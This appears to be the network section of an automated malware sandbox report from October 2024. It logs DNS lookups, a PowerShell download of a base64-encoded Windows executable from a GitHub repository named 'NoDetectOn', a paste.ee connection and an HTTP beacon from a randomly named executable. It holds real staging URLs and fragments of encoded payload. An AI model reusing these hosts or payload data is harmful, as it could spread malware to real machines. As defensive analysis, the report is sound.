Oct 7, 2024 14:52:33.148271084 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.149080992 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.149096012 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.149128914 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.149143934 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.149158001 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.149969101 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.149986029 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.150027037 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.150042057 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.150060892 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.150062084 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.150089025 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.150118113 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.155742884 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:53:18.466242075 CEST	50000	80	192.168.2.6	199.59.243.227
Oct 7, 2024 14:53:18.471316099 CEST	80	50000	199.59.243.227	192.168.2.6
Oct 7, 2024 14:53:18.471400023 CEST	50000	80	192.168.2.6	199.59.243.227
Oct 7, 2024 14:53:18.517182112 CEST	50000	80	192.168.2.6	199.59.243.227
Oct 7, 2024 14:53:18.522104979 CEST	80	50000	199.59.243.227	192.168.2.6
Oct 7, 2024 14:53:18.957406044 CEST	80	50000	199.59.243.227	192.168.2.6
Oct 7, 2024 14:53:18.957679987 CEST	80	50000	199.59.243.227	192.168.2.6
Oct 7, 2024 14:53:18.957710981 CEST	80	50000	199.59.243.227	192.168.2.6
Oct 7, 2024 14:53:18.957741976 CEST	80	50000	199.59.243.227	192.168.2.6
Oct 7, 2024 14:53:18.957773924 CEST	50000	80	192.168.2.6	199.59.243.227
Oct 7, 2024 14:53:18.957798958 CEST	50000	80	192.168.2.6	199.59.243.227
Oct 7, 2024 14:53:18.961899042 CEST	50000	80	192.168.2.6	199.59.243.227
Oct 7, 2024 14:53:18.966795921 CEST	80	50000	199.59.243.227	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 14:52:28.960388899 CEST	53209	53	192.168.2.6	1.1.1.1
Oct 7, 2024 14:52:28.967572927 CEST	53	53209	1.1.1.1	192.168.2.6
Oct 7, 2024 14:52:31.695683002 CEST	59256	53	192.168.2.6	1.1.1.1
Oct 7, 2024 14:52:31.743582964 CEST	53	59256	1.1.1.1	192.168.2.6
Oct 7, 2024 14:53:18.246982098 CEST	58528	53	192.168.2.6	1.1.1.1
Oct 7, 2024 14:53:18.418281078 CEST	53	58528	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 14:52:28.960388899 CEST	192.168.2.6	1.1.1.1	0xce37	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:52:31.695683002 CEST	192.168.2.6	1.1.1.1	0xc045	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:53:18.246982098 CEST	192.168.2.6	1.1.1.1	0xb9ce	Standard query (0)	www.donante-de-ovulos.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 14:52:12.079694033 CEST	1.1.1.1	192.168.2.6	0x5bcb	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:52:12.079694033 CEST	1.1.1.1	192.168.2.6	0x5bcb	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:52:28.967572927 CEST	1.1.1.1	192.168.2.6	0xce37	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:52:28.967572927 CEST	1.1.1.1	192.168.2.6	0xce37	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:52:28.967572927 CEST	1.1.1.1	192.168.2.6	0xce37	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:52:28.967572927 CEST	1.1.1.1	192.168.2.6	0xce37	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:52:31.743582964 CEST	1.1.1.1	192.168.2.6	0xc045	No error (0)	paste.ee		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:52:31.743582964 CEST	1.1.1.1	192.168.2.6	0xc045	No error (0)	paste.ee		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:53:18.418281078 CEST	1.1.1.1	192.168.2.6	0xb9ce	No error (0)	www.donante-de-ovulos.biz		199.59.243.227	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:53:31.685305119 CEST	1.1.1.1	192.168.2.6	0x694f	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:53:31.685305119 CEST	1.1.1.1	192.168.2.6	0x694f	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:53:31.685305119 CEST	1.1.1.1	192.168.2.6	0x694f	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

paste.ee

www.donante-de-ovulos.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	50000	199.59.243.227	80	3196	C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:53:18.517182112 CEST	556	OUT	GET /6450/?EzrD=UbYh&mzEt0=52WN8KqJ7jnOEIaeyCxqWgP+KtwCoaIDn8AokGilDz2wl3Qo7VTMWMYazPgXvK5QOqLqt5Ti3xVPGgdXo5E4TqsbUcYSzSRqT9OtwmziQ+LYHZobMnJC5bEpbrqa7K8o2xX/TOE= HTTP/1.1 Host: www.donante-de-ovulos.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-si; HTC_Desire_601 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Oct 7, 2024 14:53:18.957406044 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 07 Oct 2024 12:53:18 GMT content-type: text/html; charset=utf-8 content-length: 1506 x-request-id: 88c19c2e-2130-4b28-a2ed-db99ba1bb9ad cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_hgVu/R6l3gqdeGj1LqUuNLkrV+J+FliToD1WYqqb/kPxbqCdKs5Gn2iYTG7OPJOZ0earzM5gON+0lPiK0YsxKg== set-cookie: parking_session=88c19c2e-2130-4b28-a2ed-db99ba1bb9ad; expires=Mon, 07 Oct 2024 13:08:18 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 68 67 56 75 2f 52 36 6c 33 67 71 64 65 47 6a 31 4c 71 55 75 4e 4c 6b 72 56 2b 4a 2b 46 6c 69 54 6f 44 31 57 59 71 71 62 2f 6b 50 78 62 71 43 64 4b 73 35 47 6e 32 69 59 54 47 37 4f 50 4a 4f 5a 30 65 61 72 7a 4d 35 67 4f 4e 2b 30 6c 50 69 4b 30 59 73 78 4b 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_hgVu/R6l3gqdeGj1LqUuNLkrV+J+FliToD1WYqqb/kPxbqCdKs5Gn2iYTG7OPJOZ0earzM5gON+0lPiK0YsxKg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 7, 2024 14:53:18.957679987 CEST	224	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODhjMTljMmUtMjEzMC00YjI4LWEyZWQtZGI5OWJhMWJiOWFkIiwicGFnZV9
Oct 7, 2024 14:53:18.957710981 CEST	735	IN	Data Raw: 30 61 57 31 6c 49 6a 6f 78 4e 7a 49 34 4d 7a 41 31 4e 54 6b 34 4c 43 4a 77 59 57 64 6c 58 33 56 79 62 43 49 36 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 5a 47 39 75 59 57 35 30 5a 53 31 6b 5a 53 31 76 64 6e 56 73 62 33 4d 75 59 6d 6c 36 4c Data Ascii: 0aW1lIjoxNzI4MzA1NTk4LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cuZG9uYW50ZS1kZS1vdnVsb3MuYml6LzY0NTAvP0V6ckQ9VWJZaFx1MDAyNm16RXQwPTUyV044S3FKN2puT0VJYWV5Q3hxV2dQK0t0d0NvYUlEbjhBb2tHaWxEejJ3bDNRbzdWVE1XTVlhelBnWHZLNVFPcUxxdDVUaTN4VlBHZ2RYbzVFNFRxc2JVY1lTel

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49823	185.199.111.133	443	3768	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:52:29 UTC	128	OUT	GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-07 12:52:29 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2935468 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "df9ff7aedbae4b4f50e2ae3a8f13fd0b84c66fbd35e7ac0df91a7a47b720c032" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C152:36BD6F:195809:1AFA8B:6703D986 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 12:52:29 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740050-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1728305549.486634,VS0,VE4 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: b8c27d924a4a3cdfd4e0007db5d339bd238c9e9e Expires: Mon, 07 Oct 2024 12:57:29 GMT Source-Age: 5
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 41 4f 50 39 57 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 4a 41 68 41 41 41 47 41 41 41 41 41 41 41 41 33 71 38 68 41 41 41 67 41 41 41 41 77 43 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAOP9WYAAAAAAAAAAOAADiELATAAAJAhAAAGAAAAAAAA3q8hAAAgAAAAwCEAAABAAAAgAAAAAgA
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 41 41 51 35 4e 67 41 41 41 43 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 6c 68 41 41 42 44 6d 50 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 49 54 2f 2f 2f 38 43 65 79 55 41 41 41 51 57 61 69 69 6c 41 41 41 47 49 41 51 41 41 41 41 34 62 66 2f 2f 2f 78 51 71 41 6e 73 6c 41 41 41 45 4b 4b 51 41 41 41 59 54 41 53 41 43 41 41 41 41 66 6f 51 51 41 41 52 37 62 68 41 41 42 44 70 4b 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 44 2f 2f 2f 2f 38 41 4a 6e 34 6e 41 41 41 45 46 50 34 42 4b 67 41 41 47 6e 34 6e 41 41 41 45 4b 67 41 71 2f 67 6b 41 41 47 38 48 41 41 41 4b 4b 67 41 71 2f 67 6b 41 41 47 2b 4c 41 51 41 47 4b 67 41 71 2f 67 6b 41 41 47 2b 46 41 51 41 47 4b 67 41 71 2f 67 6b 41 41 47 39 2b 41 51 41 47 4b 67 41 71 2f 67 6b 41 41 47 2b 69 41 51 41 47 4b 67 42 4f 41 50 34 Data Ascii: AAQ5NgAAACAAAAAAfoQQAAR7lhAABDmP////JiAAAAAAOIT///8CeyUAAAQWaiilAAAGIAQAAAA4bf///xQqAnslAAAEKKQAAAYTASACAAAAfoQQAAR7bhAABDpK////JiABAAAAOD////8AJn4nAAAEFP4BKgAAGn4nAAAEKgAq/gkAAG8HAAAKKgAq/gkAAG+LAQAGKgAq/gkAAG+FAQAGKgAq/gkAAG9+AQAGKgAq/gkAAG+iAQAGKgBOAP4
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 2f 79 6f 43 66 41 49 42 41 41 51 6f 79 41 41 41 43 68 4d 42 49 41 63 41 41 41 41 34 6a 66 2f 2f 2f 78 51 54 41 53 41 45 41 41 41 41 66 6f 51 51 41 41 52 37 5a 78 41 41 42 44 70 32 2f 2f 2f 2f 4a 69 41 43 41 41 41 41 4f 47 76 2f 2f 2f 38 43 66 41 49 42 41 41 51 6f 79 67 41 41 43 6a 71 33 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 78 45 41 41 45 4f 55 66 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 50 50 2f 2f 2f 78 45 42 4f 5a 44 2f 2f 2f 38 67 41 77 41 41 41 48 36 45 45 41 41 45 65 31 51 51 41 41 51 36 49 66 2f 2f 2f 79 59 67 41 41 41 41 41 44 67 57 2f 2f 2f 2f 45 51 45 6f 54 41 49 41 42 69 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 51 78 41 41 42 44 72 37 2f 76 2f 2f 4a 69 41 41 41 41 41 41 4f 50 44 2b 2f 2f 38 34 4c 50 2f 2f 2f 79 41 43 41 41 41 Data Ascii: /yoCfAIBAAQoyAAAChMBIAcAAAA4jf///xQTASAEAAAAfoQQAAR7ZxAABDp2////JiACAAAAOGv///8CfAIBAAQoygAACjq3////IAAAAAB+hBAABHsxEAAEOUf///8mIAEAAAA4PP///xEBOZD///8gAwAAAH6EEAAEe1QQAAQ6If///yYgAAAAADgW////EQEoTAIABiAAAAAAfoQQAAR7QxAABDr7/v//JiAAAAAAOPD+//84LP///yACAAA
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 2f 2f 38 67 42 67 41 41 41 44 69 71 2f 66 2f 2f 46 69 6f 44 45 51 49 66 48 31 38 66 47 47 49 43 4b 4f 63 43 41 41 59 66 45 47 4a 67 41 69 6a 6e 41 67 41 47 48 6d 4a 67 41 69 6a 6e 41 67 41 47 59 46 51 67 44 77 41 41 41 44 68 36 2f 66 2f 2f 46 79 6f 52 41 42 6c 71 57 42 45 41 50 4d 37 39 2f 2f 38 67 44 41 41 41 41 44 68 69 2f 66 2f 2f 46 69 6f 43 4b 4f 63 43 41 41 59 54 41 69 41 45 41 41 41 41 4f 45 37 39 2f 2f 38 54 4d 41 55 41 78 41 51 41 41 44 59 41 41 42 45 67 42 77 41 41 41 50 34 4f 41 77 41 34 41 41 41 41 41 50 34 4d 41 77 42 46 4a 51 41 41 41 44 67 43 41 41 43 35 41 51 41 41 4c 51 41 41 41 46 6b 41 41 41 43 46 41 51 41 41 57 67 49 41 41 41 49 43 41 41 44 64 41 51 41 41 74 41 41 41 41 4b 6b 42 41 41 41 55 41 67 41 41 2b 41 4d 41 41 4d 6f 42 41 41 41 Data Ascii: //8gBgAAADiq/f//FioDEQIfH18fGGICKOcCAAYfEGJgAijnAgAGHmJgAijnAgAGYFQgDwAAADh6/f//FyoRABlqWBEAPM79//8gDAAAADhi/f//FioCKOcCAAYTAiAEAAAAOE79//8TMAUAxAQAADYAABEgBwAAAP4OAwA4AAAAAP4MAwBFJQAAADgCAAC5AQAALQAAAFkAAACFAQAAWgIAAAICAADdAQAAtAAAAKkBAAAUAgAA+AMAAMoBAAA
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 41 41 52 37 49 42 41 41 42 44 70 32 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 47 76 2f 2f 2f 38 71 63 6e 73 47 41 48 42 7a 57 77 41 41 43 6e 6f 43 4b 4d 73 44 41 41 62 55 6a 52 73 41 41 41 45 54 41 53 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 4a 52 41 41 42 44 6f 39 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 44 4c 2f 2f 2f 38 71 41 6e 74 63 41 51 41 45 4f 72 7a 2f 2f 2f 38 67 42 67 41 41 41 48 36 45 45 41 41 45 65 32 67 51 41 41 51 36 45 76 2f 2f 2f 79 59 67 43 51 41 41 41 44 67 48 2f 2f 2f 2f 41 68 45 42 66 55 59 42 41 41 51 67 42 77 41 41 41 48 36 45 45 41 41 45 65 7a 45 51 41 41 51 36 36 2f 37 2f 2f 79 59 67 41 67 41 41 41 44 6a 67 2f 76 2f 2f 41 68 45 42 6a 6d 6c 71 66 56 6f 42 41 41 51 67 43 67 41 41 41 44 6a 4c 2f 76 2f 2f 41 6e 74 5a 41 51 41 45 45 51 45 Data Ascii: AAR7IBAABDp2////JiAAAAAAOGv///8qcnsGAHBzWwAACnoCKMsDAAbUjRsAAAETASAAAAAAfoQQAAR7JRAABDo9////JiABAAAAODL///8qAntcAQAEOrz///8gBgAAAH6EEAAEe2gQAAQ6Ev///yYgCQAAADgH////AhEBfUYBAAQgBwAAAH6EEAAEezEQAAQ66/7//yYgAgAAADjg/v//AhEBjmlqfVoBAAQgCgAAADjL/v//AntZAQAEEQE
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 41 41 6f 58 58 78 62 2b 41 33 4d 64 41 51 41 4b 4b 67 41 41 41 42 4d 77 42 41 41 2f 41 51 41 41 54 41 41 41 45 51 4d 36 43 77 41 41 41 42 49 45 2f 68 55 2b 41 41 41 62 45 51 51 71 41 6e 74 65 41 51 41 45 41 30 41 48 41 41 41 41 48 58 4d 65 41 51 41 4b 4b 67 4e 76 52 52 6f 41 42 67 4a 37 58 67 45 41 42 45 41 48 41 41 41 41 47 58 4d 65 41 51 41 4b 4b 67 4a 37 58 67 45 41 42 47 39 46 47 67 41 47 4f 67 34 41 41 41 41 43 41 77 51 6f 34 77 4d 41 42 6e 4d 65 41 51 41 4b 4b 67 4a 37 58 67 45 41 42 47 38 59 47 67 41 47 41 32 38 59 47 67 41 47 4f 77 34 41 41 41 41 43 41 77 51 6f 34 77 4d 41 42 6e 4d 65 41 51 41 4b 4b 67 4d 58 4b 4f 6f 44 41 41 59 4b 41 69 6a 70 41 77 41 47 43 77 5a 76 48 77 45 41 43 67 64 76 48 77 45 41 43 69 6a 33 41 41 41 4b 44 42 59 4e 4f 42 63 Data Ascii: AAoXXxb+A3MdAQAKKgAAABMwBAA/AQAATAAAEQM6CwAAABIE/hU+AAAbEQQqAnteAQAEA0AHAAAAHXMeAQAKKgNvRRoABgJ7XgEABEAHAAAAGXMeAQAKKgJ7XgEABG9FGgAGOg4AAAACAwQo4wMABnMeAQAKKgJ7XgEABG8YGgAGA28YGgAGOw4AAAACAwQo4wMABnMeAQAKKgMXKOoDAAYKAijpAwAGCwZvHwEACgdvHwEACij3AAAKDBYNOBc
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 45 51 55 6f 47 41 41 41 4b 78 4d 43 49 42 49 41 41 41 44 2b 44 67 45 41 4f 49 72 2b 2f 2f 38 52 41 79 68 31 48 67 41 47 63 2f 45 46 41 41 59 54 43 53 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 66 52 41 41 42 44 70 73 2f 76 2f 2f 4a 69 41 42 41 41 41 41 4f 47 48 2b 2f 2f 38 58 45 77 59 67 41 41 41 41 41 48 36 45 45 41 41 45 65 34 59 51 41 41 51 36 53 76 37 2f 2f 79 59 67 41 41 41 41 41 44 67 2f 2f 76 2f 2f 4f 4e 6e 2f 2f 2f 38 67 43 77 41 41 41 48 36 45 45 41 41 45 65 35 4d 51 41 41 51 36 4a 76 37 2f 2f 79 59 67 43 77 41 41 41 44 67 62 2f 76 2f 2f 4f 4e 37 2b 2f 2f 38 67 42 67 41 41 41 44 67 4d 2f 76 2f 2f 41 69 67 66 42 41 41 47 45 51 6b 6f 6a 67 51 41 42 6e 55 71 41 51 41 43 62 7a 77 42 41 41 6f 35 59 50 37 2f 2f 79 41 45 41 41 41 41 4f 4f 62 39 2f 2f 38 Data Ascii: EQUoGAAAKxMCIBIAAAD+DgEAOIr+//8RAyh1HgAGc/EFAAYTCSAAAAAAfoQQAAR7fRAABDps/v//JiABAAAAOGH+//8XEwYgAAAAAH6EEAAEe4YQAAQ6Sv7//yYgAAAAADg//v//ONn///8gCwAAAH6EEAAEe5MQAAQ6Jv7//yYgCwAAADgb/v//ON7+//8gBgAAADgM/v//AigfBAAGEQkojgQABnUqAQACbzwBAAo5YP7//yAEAAAAOOb9//8
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 42 51 41 47 45 77 55 67 41 67 41 41 41 44 67 33 2f 76 2f 2f 41 6a 6e 31 2f 76 2f 2f 49 41 4d 41 41 41 44 2b 44 67 51 41 4f 42 2f 2b 2f 2f 38 52 42 54 6c 74 2f 76 2f 2f 49 41 30 41 41 41 41 34 45 76 37 2f 2f 77 49 44 4f 51 55 41 41 41 41 34 42 67 41 41 41 42 59 34 42 77 41 41 41 42 45 42 62 32 45 61 41 41 59 6f 59 77 55 41 42 69 6f 43 64 57 77 42 41 41 49 54 41 69 41 4a 41 41 41 41 4f 4f 48 39 2f 2f 38 43 45 51 45 35 44 41 41 41 41 42 45 42 4b 47 51 46 41 41 59 34 41 51 41 41 41 42 59 6f 36 41 51 41 42 69 6f 43 64 59 67 42 41 41 49 54 41 79 41 51 41 41 41 41 4f 4c 54 39 2f 2f 38 41 41 42 4d 77 41 77 42 2f 41 41 41 41 41 51 41 41 45 53 41 43 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 42 51 41 41 41 44 67 41 41 41 41 Data Ascii: BQAGEwUgAgAAADg3/v//Ajn1/v//IAMAAAD+DgQAOB/+//8RBTlt/v//IA0AAAA4Ev7//wIDOQUAAAA4BgAAABY4BwAAABEBb2EaAAYoYwUABioCdWwBAAITAiAJAAAAOOH9//8CEQE5DAAAABEBKGQFAAY4AQAAABYo6AQABioCdYgBAAITAyAQAAAAOLT9//8AABMwAwB/AAAAAQAAESACAAAA/g4AADgAAAAA/gwAAEUDAAAABQAAADgAAAA
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 42 61 4a 76 51 67 30 41 42 69 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 4d 68 41 41 42 44 6e 48 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 7a 2f 2f 2f 38 71 41 42 4d 77 43 51 42 63 41 41 41 41 41 51 41 41 45 53 41 42 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 43 41 41 41 41 50 41 41 41 41 41 55 41 41 41 41 34 4e 77 41 41 41 41 49 44 46 67 51 59 6a 51 45 41 41 41 45 6c 46 67 57 69 4a 52 63 4f 42 4b 4a 76 51 67 30 41 42 69 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 4d 68 41 41 42 44 72 43 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 66 2f 2f 2f 38 71 45 7a 41 4a 41 47 45 41 41 41 41 42 41 41 41 52 49 41 45 41 41 41 44 2b 44 67 41 41 4f 41 41 41 41 41 44 2b 44 41 41 41 52 51 49 41 41 41 42 42 41 41 41 41 42 51 41 41 41 44 67 38 41 41 41 Data Ascii: BaJvQg0ABiAAAAAAfoQQAAR7MhAABDnH////JiAAAAAAOLz///8qABMwCQBcAAAAAQAAESABAAAA/g4AADgAAAAA/gwAAEUCAAAAPAAAAAUAAAA4NwAAAAIDFgQYjQEAAAElFgWiJRcOBKJvQg0ABiAAAAAAfoQQAAR7MhAABDrC////JiAAAAAAOLf///8qEzAJAGEAAAABAAARIAEAAAD+DgAAOAAAAAD+DAAARQIAAABBAAAABQAAADg8AAA
2024-10-07 12:52:29 UTC	16384	IN	Data Raw: 48 67 41 47 4b 69 72 2b 43 51 41 41 62 2b 30 4d 41 41 59 71 41 44 34 41 2f 67 6b 41 41 50 34 4a 41 51 41 6f 66 52 34 41 42 69 6f 75 41 50 34 4a 41 41 41 6f 56 52 59 41 42 69 6f 2b 41 50 34 4a 41 41 44 2b 43 51 45 41 4b 46 67 57 41 41 59 71 50 67 44 2b 43 51 41 41 2f 67 6b 42 41 43 6a 32 48 67 41 47 4b 69 34 41 2f 67 6b 41 41 43 6a 33 48 67 41 47 4b 6a 34 41 2f 67 6b 41 41 50 34 4a 41 51 41 6f 4e 67 45 41 43 69 6f 2b 41 50 34 4a 41 41 44 2b 43 51 45 41 4b 50 55 65 41 41 59 71 50 67 44 2b 43 51 41 41 2f 67 6b 42 41 43 6a 37 48 67 41 47 4b 69 34 41 2f 67 6b 41 41 43 68 35 48 67 41 47 4b 68 34 43 65 37 45 42 41 41 51 71 45 7a 41 44 41 45 73 41 41 41 41 42 41 41 41 52 49 41 45 41 41 41 44 2b 44 67 41 41 4f 41 41 41 41 41 44 2b 44 41 41 41 52 51 49 41 41 41 41 Data Ascii: 